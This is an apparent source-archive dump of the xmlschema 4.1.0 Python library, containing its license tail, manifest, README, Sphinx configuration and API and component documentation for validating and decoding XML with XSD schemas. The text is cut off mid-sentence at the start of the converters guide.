Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. xmlschema-4.1.0/MANIFEST.in000066400000000000000000000005041502040105500152220ustar00rootroot00000000000000include MANIFEST.in include LICENSE include README.rst include CHANGELOG.rst include requirements-dev.txt include tox.ini include doc/* recursive-include xmlschema * recursive-include scripts * recursive-include tests * recursive-exclude tests/.mypy_cache * exclude xmlschema/locale/xmlschema.pot global-exclude *.py[cod] xmlschema-4.1.0/README.rst000066400000000000000000000137501502040105500151620ustar00rootroot00000000000000********* xmlschema ********* .. image:: https://img.shields.io/pypi/v/xmlschema.svg :target: https://pypi.python.org/pypi/xmlschema/ .. image:: https://img.shields.io/pypi/pyversions/xmlschema.svg :target: https://pypi.python.org/pypi/xmlschema/ .. image:: https://img.shields.io/pypi/implementation/xmlschema.svg :target: https://pypi.python.org/pypi/xmlschema/ .. image:: https://img.shields.io/badge/License-MIT-blue.svg :alt: MIT License :target: https://lbesson.mit-license.org/ .. image:: https://img.shields.io/pypi/dm/xmlschema.svg :target: https://pypi.python.org/pypi/xmlschema/ .. xmlschema-introduction-start The *xmlschema* library is an implementation of `XML Schema `_ for Python (supports Python 3.8+). This library arises from the needs of a solid Python layer for processing XML Schema based files for `MaX (Materials design at the Exascale) `_ European project. A significant problem is the encoding and the decoding of the XML data files produced by different simulation software. Another important requirement is the XML data validation, in order to put the produced data under control. The lack of a suitable alternative for Python in the schema-based decoding of XML data has led to build this library. Obviously this library can be useful for other cases related to XML Schema based processing, not only for the original scope. The full `xmlschema documentation is available on "Read the Docs" `_. Features ======== This library includes the following features: * Full XSD 1.0 and XSD 1.1 support * Building of XML schema objects from XSD files * Validation of XML instances against XSD schemas * Decoding of XML data into Python data and to JSON * Encoding of Python data and JSON to XML * Data decoding and encoding ruled by converter classes * An XPath based API for finding schema's elements and attributes * Support of XSD validation modes *strict*/*lax*/*skip* * XML attacks protection using an XMLParser that forbids entities * Access control on resources addressed by an URL or filesystem path * Downloading XSD files from a remote URL and storing them for offline use * XML data bindings based on DataElement class * Static code generation with Jinja2 templates Installation ============ You can install the library with *pip* in a Python 3.7+ environment:: pip install xmlschema The library uses the Python's ElementTree XML library and requires `elementpath `_ additional package. The base schemas of the XSD standards are included in the package for working offline and to speed-up the building of schema instances. .. xmlschema-introduction-end Usage ===== Import the library and then create a schema instance using the path of the file containing the schema as argument: .. code-block:: pycon >>> import xmlschema >>> my_schema = xmlschema.XMLSchema('tests/test_cases/examples/vehicles/vehicles.xsd') .. note:: For XSD 1.1 schemas use the class `XMLSchema11`, because the default class `XMLSchema` is an alias of the XSD 1.0 validator class `XMLSchema10`. The schema can be used to validate XML documents: .. code-block:: pycon >>> my_schema.is_valid('tests/test_cases/examples/vehicles/vehicles.xml') True >>> my_schema.is_valid('tests/test_cases/examples/vehicles/vehicles-1_error.xml') False >>> my_schema.validate('tests/test_cases/examples/vehicles/vehicles-1_error.xml') Traceback (most recent call last): File "", line 1, in File "/home/brunato/Development/projects/xmlschema/xmlschema/validators/xsdbase.py", line 393, in validate raise error xmlschema.validators.exceptions.XMLSchemaValidationError: failed validating with XsdGroup(model='sequence'). Reason: character data between child elements not allowed! Schema: Instance: NOT ALLOWED CHARACTER DATA Using a schema you can also decode the XML documents to nested dictionaries, with values that match to the data types declared by the schema: .. code-block:: pycon >>> import xmlschema >>> from pprint import pprint >>> xs = xmlschema.XMLSchema('tests/test_cases/examples/collection/collection.xsd') >>> pprint(xs.to_dict('tests/test_cases/examples/collection/collection.xml')) {'@xsi:schemaLocation': 'http://example.com/ns/collection collection.xsd', 'object': [{'@available': True, '@id': 'b0836217462', 'author': {'@id': 'PAR', 'born': '1841-02-25', 'dead': '1919-12-03', 'name': 'Pierre-Auguste Renoir', 'qualification': 'painter'}, 'estimation': Decimal('10000.00'), 'position': 1, 'title': 'The Umbrellas', 'year': '1886'}, {'@available': True, '@id': 'b0836217463', 'author': {'@id': 'JM', 'born': '1893-04-20', 'dead': '1983-12-25', 'name': 'Joan MirĂ³', 'qualification': 'painter, sculptor and ceramicist'}, 'position': 2, 'title': None, 'year': '1925'}]} Authors ======= Davide Brunato and others who have contributed with code or with sample cases. License ======= This software is distributed under the terms of the MIT License. See the file 'LICENSE' in the root directory of the present distribution, or http://opensource.org/licenses/MIT. xmlschema-4.1.0/doc/000077500000000000000000000000001502040105500142325ustar00rootroot00000000000000xmlschema-4.1.0/doc/Makefile000066400000000000000000000011361502040105500156730ustar00rootroot00000000000000# Minimal makefile for Sphinx documentation # # You can set these variables from the command line. SPHINXOPTS = SPHINXBUILD = sphinx-build SPHINXPROJ = xmlschema SOURCEDIR = . BUILDDIR = _build # Put it first so that "make" without argument is like "make help". help: @$(SPHINXBUILD) -M help "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) .PHONY: help Makefile # Catch-all target: route all unknown targets to Sphinx using the new # "make mode" option. $(O) is meant as a shortcut for $(SPHINXOPTS). %: Makefile @$(SPHINXBUILD) -M $@ "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O)xmlschema-4.1.0/doc/api.rst000066400000000000000000000321531502040105500155410ustar00rootroot00000000000000.. _package-api: *********** Package API *********** API includes classes and methods imported at package level and others included in subpackages. Only the modules, classes and methods imported within the top-level package are in fact to be considered as public API. .. _errors-and-exceptions: Errors and exceptions ===================== .. autoexception:: xmlschema.XMLSchemaException .. autoexception:: xmlschema.XMLResourceError .. autoexception:: xmlschema.XMLSchemaNamespaceError .. autoexception:: xmlschema.XMLSchemaValidatorError .. autoexception:: xmlschema.XMLSchemaNotBuiltError .. autoexception:: xmlschema.XMLSchemaParseError .. autoexception:: xmlschema.XMLSchemaModelError .. autoexception:: xmlschema.XMLSchemaModelDepthError .. autoexception:: xmlschema.XMLSchemaValidationError .. autoexception:: xmlschema.XMLSchemaDecodeError .. autoexception:: xmlschema.XMLSchemaEncodeError .. autoexception:: xmlschema.XMLSchemaChildrenValidationError .. autoattribute:: invalid_tag .. autoattribute:: invalid_child .. autoexception:: xmlschema.XMLSchemaStopValidation .. autoexception:: xmlschema.XMLSchemaIncludeWarning .. autoexception:: xmlschema.XMLSchemaImportWarning .. autoexception:: xmlschema.XMLSchemaTypeTableWarning .. _document-level-api: Document level API ================== .. autofunction:: xmlschema.validate .. autofunction:: xmlschema.is_valid .. autofunction:: xmlschema.iter_errors .. autofunction:: xmlschema.iter_decode .. autofunction:: xmlschema.to_dict .. autofunction:: xmlschema.to_json .. autofunction:: xmlschema.to_etree .. autofunction:: xmlschema.from_json .. _schema-level-api: Schema level API ================ .. autoclass:: xmlschema.XMLSchema10 .. autoclass:: xmlschema.XMLSchema11 The classes for XSD v1.0 and v1.1 schema instances. They are both generated by the meta-class :class:`XMLSchemaMeta` and take the same API of :class:`xmlschema.XMLSchemaBase`. .. autoclass:: xmlschema.XMLSchema .. autoclass:: xmlschema.validators.XMLSchemaMeta .. autoclass:: xmlschema.XMLSchemaBase .. autoattribute:: meta_schema .. autoattribute:: builders .. autoattribute:: root .. automethod:: get_text .. autoattribute:: name .. autoattribute:: url .. autoattribute:: base_url .. autoattribute:: tag .. autoattribute:: id .. autoattribute:: version .. autoattribute:: schema_location .. autoattribute:: no_namespace_schema_location .. autoattribute:: target_prefix .. autoattribute:: default_namespace .. autoattribute:: root_elements .. autoattribute:: simple_types .. autoattribute:: complex_types .. automethod:: builtin_types .. automethod:: create_meta_schema .. automethod:: get_locations .. automethod:: include_schema .. automethod:: import_schema .. automethod:: add_schema .. automethod:: export .. automethod:: resolve_qname .. automethod:: iter_globals .. automethod:: iter_components .. automethod:: build .. automethod:: clear .. autoattribute:: built .. autoattribute:: validation_attempted .. autoattribute:: validity .. autoattribute:: all_errors .. automethod:: get_converter .. automethod:: validate .. automethod:: is_valid .. automethod:: iter_errors .. automethod:: decode .. automethod:: iter_decode .. automethod:: encode .. automethod:: iter_encode .. _global-maps-api: Global maps API =============== .. autoclass:: xmlschema.XsdGlobals :members: copy, register, iter_schemas, iter_globals, lookup, clear, build, unbuilt, check .. _converters-api: Converters API ============== The base class `XMLSchemaConverter` is used for defining generic converters. The subclasses implement some of the most used `conventions for converting XML to JSON data `_. .. autoclass:: xmlschema.ElementData .. autoclass:: xmlschema.XMLSchemaConverter .. autoattribute:: lossy .. autoattribute:: losslessly .. automethod:: copy .. automethod:: map_attributes .. automethod:: map_content .. automethod:: etree_element .. automethod:: element_decode .. automethod:: element_encode .. automethod:: map_qname .. automethod:: unmap_qname .. autoclass:: xmlschema.UnorderedConverter .. autoclass:: xmlschema.ParkerConverter .. autoclass:: xmlschema.BadgerFishConverter .. autoclass:: xmlschema.AbderaConverter .. autoclass:: xmlschema.JsonMLConverter .. autoclass:: xmlschema.ColumnarConverter .. _data-objects-api: Data objects API ================ .. autoclass:: xmlschema.DataElement .. autoclass:: xmlschema.DataElementConverter .. autoclass:: xmlschema.DataBindingConverter .. _url-normalization-api: URL normalization API ===================== .. autofunction:: xmlschema.normalize_url .. autofunction:: xmlschema.normalize_locations .. _xml-resource-api: XML resources API ================= .. autofunction:: xmlschema.fetch_resource .. autofunction:: xmlschema.fetch_schema_locations .. autofunction:: xmlschema.fetch_schema .. autofunction:: xmlschema.download_schemas .. autoclass:: xmlschema.XMLResource .. autoattribute:: root .. autoattribute:: text .. autoattribute:: name .. autoattribute:: url .. autoattribute:: base_url .. autoattribute:: filepath .. autoattribute:: namespace .. automethod:: parse .. automethod:: tostring .. automethod:: open .. automethod:: load .. automethod:: is_lazy .. autoattribute:: lazy_depth .. automethod:: is_remote .. automethod:: is_local .. automethod:: is_loaded .. automethod:: iter .. automethod:: iter_depth .. automethod:: iterfind .. automethod:: find .. automethod:: findall .. automethod:: iter_location_hints .. automethod:: get_namespaces .. automethod:: get_locations .. autoclass:: xmlschema.XmlDocument .. _loaders-api: Loaders API =========== .. autofunction:: xmlschema.SchemaLoader .. autofunction:: xmlschema.LocationSchemaLoader .. autofunction:: xmlschema.SafeSchemaLoader .. _translation-api: Translation API =============== .. autofunction:: xmlschema.translation.activate .. autofunction:: xmlschema.translation.deactivate .. _namespace-api: Namespaces API ============== Classes for converting namespace representation or for accessing namespace objects: .. autoclass:: xmlschema.namespaces.NamespaceResourcesMap .. autoclass:: xmlschema.namespaces.NamespaceMapper .. autoclass:: xmlschema.namespaces.NamespaceView .. _xpath-api: XPath API ========= Implemented through a mixin class on XSD schemas and elements. .. autoclass:: xmlschema.ElementPathMixin .. autoattribute:: tag .. autoattribute:: attrib .. automethod:: get .. automethod:: iter .. automethod:: iterchildren .. automethod:: find .. automethod:: findall .. automethod:: iterfind .. autoclass:: xmlschema.ElementSelector .. autoattribute:: path .. autoattribute:: namespaces .. autoattribute:: parts .. autoattribute:: relative_path .. autoattribute:: depth .. autoattribute:: select_all .. automethod:: select .. automethod:: iter_select .. automethod:: cached_selector .. autoclass:: xmlschema.ElementPathSelector .. _validation-api: Validation API ============== Implemented for XSD schemas, elements, attributes, types, attribute groups and model groups. .. autoclass:: xmlschema.validators.ValidationMixin .. automethod:: is_valid .. automethod:: validate .. automethod:: decode .. automethod:: iter_decode .. automethod:: iter_encode :noindex: .. automethod:: iter_errors .. automethod:: encode .. automethod:: iter_encode .. _particles-api: Particles API ============= Implemented for XSD model groups, elements and element wildcards. .. autoclass:: xmlschema.validators.ParticleMixin .. automethod:: is_empty .. automethod:: is_emptiable .. automethod:: is_single .. automethod:: is_multiple .. automethod:: is_ambiguous .. automethod:: is_univocal .. automethod:: is_missing .. automethod:: is_over .. _main-xsd-components: Main XSD components =================== .. autoclass:: xmlschema.XsdComponent .. autoattribute:: target_namespace .. autoattribute:: qualified .. autoattribute:: local_name .. autoattribute:: qualified_name .. autoattribute:: prefixed_name .. automethod:: is_global .. automethod:: is_matching .. automethod:: tostring .. autoclass:: xmlschema.XsdType :members: is_simple, is_complex, is_atomic, is_primitive, is_list, is_union, is_empty, is_emptiable, has_simple_content, has_complex_content, has_mixed_content, is_element_only, is_derived, is_extension, is_restriction, is_blocked, is_dynamic_consistent, is_key, is_qname, is_notation, is_datetime, is_decimal, is_boolean, overall_min_occurs, overall_max_occurs .. autoattribute:: content_type_label .. autoattribute:: sequence_type .. autoattribute:: root_type .. autoattribute:: simple_type .. autoattribute:: model_group .. autoclass:: xmlschema.XsdElement :members: get_binding, get_path, match_child, overall_min_occurs, overall_max_occurs .. autoattribute:: type .. autoattribute:: attributes .. autoattribute:: min_occurs .. autoattribute:: max_occurs .. autoattribute:: abstract .. autoattribute:: block .. autoattribute:: final .. autoattribute:: default .. autoattribute:: fixed .. autoattribute:: qualified .. autoclass:: xmlschema.XsdAttribute .. autoattribute:: type .. autoattribute:: default .. autoattribute:: fixed .. autoattribute:: use .. autoattribute:: inheritable .. autoattribute:: qualified .. _other-xsd-components: Other XSD components ==================== Elements and attributes ----------------------- .. autoclass:: xmlschema.validators.Xsd11Element .. autoclass:: xmlschema.validators.Xsd11Attribute Types ----- .. autoclass:: xmlschema.validators.Xsd11ComplexType .. autoclass:: xmlschema.validators.XsdComplexType .. autoattribute:: content .. autoclass:: xmlschema.validators.XsdSimpleType .. autoattribute:: enumeration .. autoattribute:: max_value .. autoattribute:: min_value .. autoclass:: xmlschema.validators.XsdAtomicBuiltin .. autoclass:: xmlschema.validators.XsdList .. autoclass:: xmlschema.validators.Xsd11Union .. autoclass:: xmlschema.validators.XsdUnion .. autoclass:: xmlschema.validators.Xsd11AtomicRestriction .. autoclass:: xmlschema.validators.XsdAtomicRestriction Attribute and model groups -------------------------- .. autoclass:: xmlschema.validators.XsdAttributeGroup .. autoclass:: xmlschema.validators.Xsd11Group .. autoclass:: xmlschema.validators.XsdGroup Wildcards --------- .. autoclass:: xmlschema.validators.Xsd11AnyElement .. autoclass:: xmlschema.validators.XsdAnyElement .. autoclass:: xmlschema.validators.Xsd11AnyAttribute .. autoclass:: xmlschema.validators.XsdAnyAttribute .. autoclass:: xmlschema.validators.XsdOpenContent .. autoclass:: xmlschema.validators.XsdDefaultOpenContent Identity constraints -------------------- .. autoclass:: xmlschema.validators.XsdIdentity .. autoclass:: xmlschema.validators.XsdSelector .. autoclass:: xmlschema.validators.XsdFieldSelector .. autoclass:: xmlschema.validators.Xsd11Unique .. autoclass:: xmlschema.validators.XsdUnique .. autoclass:: xmlschema.validators.Xsd11Key .. autoclass:: xmlschema.validators.XsdKey .. autoclass:: xmlschema.validators.Xsd11Keyref .. autoclass:: xmlschema.validators.XsdKeyref Facets ------ .. autoclass:: xmlschema.validators.XsdFacet .. autoclass:: xmlschema.validators.XsdWhiteSpaceFacet .. autoclass:: xmlschema.validators.XsdLengthFacet .. autoclass:: xmlschema.validators.XsdMinLengthFacet .. autoclass:: xmlschema.validators.XsdMaxLengthFacet .. autoclass:: xmlschema.validators.XsdMinInclusiveFacet .. autoclass:: xmlschema.validators.XsdMinExclusiveFacet .. autoclass:: xmlschema.validators.XsdMaxInclusiveFacet .. autoclass:: xmlschema.validators.XsdMaxExclusiveFacet .. autoclass:: xmlschema.validators.XsdTotalDigitsFacet .. autoclass:: xmlschema.validators.XsdFractionDigitsFacet .. autoclass:: xmlschema.validators.XsdExplicitTimezoneFacet .. autoclass:: xmlschema.validators.XsdAssertionFacet .. autoclass:: xmlschema.validators.XsdEnumerationFacets .. autoclass:: xmlschema.validators.XsdPatternFacets Others ------ .. autoclass:: xmlschema.validators.XsdAssert .. autoclass:: xmlschema.validators.XsdAlternative .. autoclass:: xmlschema.validators.XsdNotation .. autoclass:: xmlschema.validators.XsdAnnotation .. _extra-api: Extra features API ================== Code generators --------------- .. autoclass:: xmlschema.extras.codegen.AbstractGenerator .. automethod:: map_type .. automethod:: list_templates .. automethod:: matching_templates .. automethod:: get_template .. automethod:: select_template .. automethod:: render .. automethod:: render_to_files .. autoclass:: xmlschema.extras.codegen.PythonGenerator WSDL 1.1 documents ------------------ .. autoclass:: xmlschema.extras.wsdl.Wsdl11Document .. autoattribute:: messages .. autoattribute:: port_types .. autoattribute:: bindings .. autoattribute:: services xmlschema-4.1.0/doc/components.rst000066400000000000000000000260111502040105500171510ustar00rootroot00000000000000.. _schema-components: ***************** Schema components ***************** After the building a schema object contains a set of components that represent the definitions/declarations defined in loaded schema files. These components, sometimes referred as *Post Schema Validation Infoset* or **PSVI**, constitute an augmentation of the original information contained into schema files. .. testsetup:: collection import xmlschema import os import warnings if os.getcwd().endswith('/doc'): os.chdir('..') warnings.simplefilter("ignore", xmlschema.XMLSchemaIncludeWarning) schema = xmlschema.XMLSchema('tests/test_cases/examples/collection/collection.xsd') Accessing schema components =========================== Taking the *collection.xsd* as sample schema to illustrate the access to components, we can iterate the entire set of components, globals an locals, using the *iter_components()* generator function: .. doctest:: collection >>> import xmlschema >>> schema = xmlschema.XMLSchema('tests/test_cases/examples/collection/collection.xsd') >>> for xsd_component in schema.iter_components(): ... xsd_component ... XMLSchema10(name='collection.xsd', namespace='http://example.com/ns/collection') XsdComplexType(name='personType') XsdAttributeGroup(['id']) XsdAttribute(name='id') XsdGroup(model='sequence', occurs=[1, 1]) XsdElement(name='name', occurs=[1, 1]) ... ... XsdElement(name='object', occurs=[1, None]) XsdElement(name='person', occurs=[1, 1]) For taking only global components use *iter_globals()* instead: .. doctest:: collection >>> for xsd_component in schema.iter_globals(): ... xsd_component ... XsdComplexType(name='personType') XsdComplexType(name='objType') XsdElement(name='collection', occurs=[1, 1]) XsdElement(name='person', occurs=[1, 1]) Access with XPath API --------------------- Another method for retrieving XSD elements and attributes of a schema is to use XPath expressions with *find* or *findall* methods: .. doctest:: collection >>> from pprint import pprint >>> namespaces = {'': 'http://example.com/ns/collection'} >>> schema.find('collection/object', namespaces) XsdElement(name='object', occurs=[1, None]) >>> pprint(schema.findall('collection/object/*', namespaces)) [XsdElement(name='position', occurs=[1, 1]), XsdElement(name='title', occurs=[1, 1]), XsdElement(name='year', occurs=[1, 1]), XsdElement(name='author', occurs=[1, 1]), XsdElement(name='estimation', occurs=[0, 1]), XsdElement(name='characters', occurs=[0, 1])] Access to global components --------------------------- Accessing a specific type of global component a dictionary access may be preferred: .. doctest:: collection >>> schema.elements['person'] XsdElement(name='person', occurs=[1, 1]) >>> schema.types['personType'] XsdComplexType(name='personType') The schema object has a dictionary attribute for each type of XSD declarations (*elements*, *attributes* and *notations*) and for each type of XSD definitions (*types*, *model groups*, *attribute groups*, *identity constraints* and *substitution groups*). These dictionaries are only views of common dictionaries, shared by all the loaded schemas in a structure called *maps*: .. doctest:: collection >>> schema.maps XsdGlobals(validator=XMLSchema10(name='collection.xsd', ...) .. doctest:: collection >>> person = schema.elements['person'] >>> person XsdElement(name='person', occurs=[1, 1]) >>> schema.maps.elements[person.qualified_name] XsdElement(name='person', occurs=[1, 1]) Component structure =================== Only the main component classes are available at package level: XsdComponent The base class of every XSD component. XsdType The base class of every XSD type, both complex and simple types. XsdElement The XSD 1.0 element class, base also of XSD 1.1 element class. XsdAttribute The XSD 1.0 attribute class, base also of XSD 1.1 attribute class. The full schema components are provided only by accessing the `xmlschema.validators` subpackage, for example: .. doctest:: >>> import xmlschema >>> xmlschema.validators.Xsd11Element Connection with the schema -------------------------- Every component is linked to its container schema and a reference node of its XSD schema document: .. doctest:: collection >>> person = schema.elements['person'] >>> person.schema XMLSchema10(name='collection.xsd', namespace='http://example.com/ns/collection') >>> person.elem >>> person.tostring() '' Naming options -------------- A component that has a name (eg. elements or global types) can be referenced with a different name format, so there are some properties for getting these formats: .. doctest:: collection >>> vh_schema = xmlschema.XMLSchema('tests/test_cases/examples/vehicles/vehicles.xsd') >>> car = vh_schema.find('vh:vehicles/vh:cars/vh:car') >>> car.name '{http://example.com/vehicles}car' >>> car.local_name 'car' >>> car.prefixed_name 'vh:car' >>> car.qualified_name '{http://example.com/vehicles}car' >>> car.attributes['model'].name 'model' >>> car.attributes['model'].qualified_name '{http://example.com/vehicles}model' Decoding and encoding --------------------- Every schema component includes methods for data conversion: .. doctest:: >>> schema = xmlschema.XMLSchema('tests/test_cases/examples/vehicles/vehicles.xsd') >>> schema.types['vehicleType'].decode >>> schema.elements['cars'].encode Those methods can be used to decode the correspondents parts of the XML document: .. doctest:: >>> import xmlschema >>> from pprint import pprint >>> from xml.etree import ElementTree >>> xs = xmlschema.XMLSchema('tests/test_cases/examples/vehicles/vehicles.xsd') >>> xt = ElementTree.parse('tests/test_cases/examples/vehicles/vehicles.xml') >>> root = xt.getroot() >>> pprint(xs.elements['cars'].decode(root[0])) {'{http://example.com/vehicles}car': [{'@make': 'Porsche', '@model': '911'}, {'@make': 'Porsche', '@model': '911'}]} >>> pprint(xs.elements['cars'].decode(xt.getroot()[1], validation='skip')) None >>> pprint(xs.elements['bikes'].decode(root[1], namespaces={'vh': 'http://example.com/vehicles'})) {'@xmlns:vh': 'http://example.com/vehicles', 'vh:bike': [{'@make': 'Harley-Davidson', '@model': 'WL'}, {'@make': 'Yamaha', '@model': 'XS650'}]} XSD types ========= Every element or attribute declaration has a *type* attribute for accessing its XSD type: .. doctest:: collection >>> person = schema.elements['person'] >>> person.type XsdComplexType(name='personType') Simple types ------------ Simple types are used on attributes and elements that contains a text value: .. doctest:: >>> schema = xmlschema.XMLSchema('tests/test_cases/examples/vehicles/vehicles.xsd') >>> schema.attributes['step'] XsdAttribute(name='vh:step') >>> schema.attributes['step'].type XsdAtomicBuiltin(name='xs:positiveInteger') A simple type doesn't have attributes but can have facets-related validators or properties: .. doctest:: >>> schema.attributes['step'].type.attributes Traceback (most recent call last): File "", line 1, in AttributeError: 'XsdAtomicBuiltin' object has no attribute 'attributes' >>> schema.attributes['step'].type.validators [] >>> schema.attributes['step'].type.white_space 'collapse' To check if a type is a simpleType use *is_simple()*: .. doctest:: >>> schema.attributes['step'].type.is_simple() True Complex types ------------- Complex types are used only for elements with attributes or with child elements. For accessing the attributes there is always defined and attribute group, also when the complex type has no attributes: .. doctest:: collection >>> schema.types['objType'] XsdComplexType(name='objType') >>> schema.types['objType'].attributes XsdAttributeGroup(['id', 'available']) >>> schema.types['objType'].attributes['available'] XsdAttribute(name='available') For accessing the content model there use the attribute *content*. In most cases the element's type is a complexType with a complex content and in these cases *content* is a not-empty `XsdGroup`: .. doctest:: collection >>> person = schema.elements['person'] >>> person.type.has_complex_content() True >>> person.type.content XsdGroup(model='sequence', occurs=[1, 1]) >>> for item in person.type.content: ... item ... XsdElement(name='name', occurs=[1, 1]) XsdElement(name='born', occurs=[1, 1]) XsdElement(name='dead', occurs=[0, 1]) XsdElement(name='qualification', occurs=[0, 1]) .. note:: The attribute *content_type* has been renamed to *content* in v1.2.1 in order to avoid confusions between the complex type and its content. A property with the old name will be maintained until v2.0. Model groups can be nested with very complex structures, so there is an generator function *iter_elements()* to traverse a model group: .. doctest:: collection >>> for e in person.type.content.iter_elements(): ... e ... XsdElement(name='name', occurs=[1, 1]) XsdElement(name='born', occurs=[1, 1]) XsdElement(name='dead', occurs=[0, 1]) XsdElement(name='qualification', occurs=[0, 1]) Sometimes a complex type can have a simple content, in these cases *content* is a simple type. Content types ------------- An element can have four different content types: - **empty**: deny child elements, deny text content - **simple**: deny child elements, allow text content - **element-only**: allow child elements, deny intermingled text content - **mixed**: allow child elements and intermingled text content For attributes only *empty* or *simple* content types are possible, because they can have only a simpleType value. The reference methods for checking the content type are respectively *is_empty()*, *has_simple_content()*, *is_element_only()* and *has_mixed_content()*. Access to content validator --------------------------- The content type checking can be complicated if you want to know which is the content validator without use a type checking. To making this simpler there are two properties defined for XSD types: simple_type a simple type in case of *simple* content or when an *empty* content is based on an empty simple type, `None` otherwise. model_group a model group in case of *mixed* or *element-only* content or when an *empty* content is based on an empty model group, `None` otherwise. xmlschema-4.1.0/doc/conf.py000066400000000000000000000143001502040105500155270ustar00rootroot00000000000000#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # xmlschema documentation build configuration file, created by # sphinx-quickstart on Fri Jan 12 09:05:46 2018. # # This file is execfile()d with the current directory set to its # containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. # # import os # import sys # sys.path.insert(0, os.path.abspath('.')) # Extends the path with parent directory in order to # import xmlschema from the project also if it's installed. import sys import os sys.path.insert(0, os.path.abspath('..')) # -- General configuration ------------------------------------------------ # If your documentation needs a minimal Sphinx version, state it here. # # needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = ['sphinx.ext.autodoc', 'sphinx.ext.doctest'] # Option for autodoc: do not add module name as prefix to classes or functions. add_module_names = False nitpick_ignore = [ ('py:class', 'collections.abc.Callable'), ('py:class', 'pathlib.Path'), ('py:class', 'collections.Counter'), ('py:class', 'decimal.Decimal'), ('py:class', 'xml.etree.ElementTree.Element'), ('py:class', 'xml.etree.ElementTree.ElementTree'), ('py:class', 'xmlschema.aliases.T'), ('py:class', 'xmlschema.xpath.mixin.E_co'), ('py:class', 'xmlschema.validators.xsdbase.DT'), ('py:class', 'xmlschema.validators.xsdbase.ST'), ('py:class', 'XsdValidator'), ('py:class', 'XMLSchemaMeta'), ('py:class', 'BaseXsdType'), ('py:class', 'ElementType'), ('py:class', 'xmlschema.validators.schemas.XMLSchema10'), ('py:class', 'xmlschema.loaders.SchemaLoader'), ('py:class', 'urllib.request.OpenerDirector'), ('py:class', 'xmlschema.utils.protocols.IOProtocol'), ('py:class', 'xmlschema.validators.builders.XsdBuilders'), ('py:class', 'SchemaLoader'), ('py:class', 'OpenerDirector'), ('py:class', 'xmlschema.validators.builders.SchemaConfig'), ('py:meth', 'read'), ('py:meth', 'write'), ('py:obj', 'typing.IO'), ] nitpick_ignore_regex = [ ('py:class', r'elementpath\.datatypes\..*'), ('py:class', r'collections\.abc\..*'), ('py:class', r'xmlschema\.validators\.validation\.(ST|DT)'), ('py:class', r'xmlschema\.namespaces\.(T|CT)'), ('py:class', r'elementpath\.protocols\..*Protocol'), ] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix(es) of source filenames. # You can specify multiple suffix as a list of string: # # source_suffix = ['.rst', '.md'] source_suffix = '.rst' # The master toctree document. master_doc = 'index' # General information about the project. project = 'xmlschema' copyright = '2016-2025, SISSA - Scuola Internazionale Superiore di Studi Avanzati' author = 'Davide Brunato' # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. version = '4.1' # The full version, including alpha/beta/rc tags. release = '4.1.0' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. # # This is also used if you do content translation via gettext catalogs. # Usually you set "language" from the command line for these cases. # language = None language = 'en' # required by Sphinx v5.0.0 # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This patterns also effect to html_static_path and html_extra_path exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # If true, `todo` and `todoList` produce output, else they produce nothing. todo_include_todos = False # -- Options for HTML output ---------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. # # html_theme = 'alabaster' html_theme = 'sphinx_rtd_theme' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. # # html_theme_options = {} # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". # html_static_path = ['_static'] html_static_path = [] # Custom sidebar templates, must be a dictionary that maps document names # to template names. # # This is required for the alabaster theme # refs: http://alabaster.readthedocs.io/en/latest/installation.html#sidebars html_sidebars = { '**': [ 'relations.html', # needs 'show_related': True theme option to display 'searchbox.html', ] } # -- Options for HTMLHelp output ------------------------------------------ # Output file base name for HTML help builder. htmlhelp_basename = 'xmlschemadoc' # -- Options for LaTeX output --------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper'). # # 'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). # # 'pointsize': '10pt', # Additional stuff for the LaTeX preamble. # # 'preamble': '', # Latex figure (float) alignment # # 'figure_align': 'htbp', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, # author, documentclass [howto, manual, or own class]). latex_documents = [ (master_doc, 'xmlschema.tex', 'xmlschema Documentation', 'Davide Brunato', 'manual'), ] latex_appendices = ['api'] xmlschema-4.1.0/doc/converters.rst000066400000000000000000000125731502040105500171660ustar00rootroot00000000000000.. _converters: *********************** Converters for XML data *********************** XML data decoding and encoding is handled using an intermediate converter class instance that takes charge of composing inner data and mapping of namespaces and prefixes. Because XML is a structured format that includes data and metadata information, as attributes and namespace declarations, is necessary to define conventions for naming the different data objects in a distinguishable way. For example a wide-used convention is to prefixing attribute names with an '@' character. With this convention the attribute `name='John'` is decoded to `'@name': 'John'`, or `'level='10'` is decoded to `'@level': 10`. A related topic 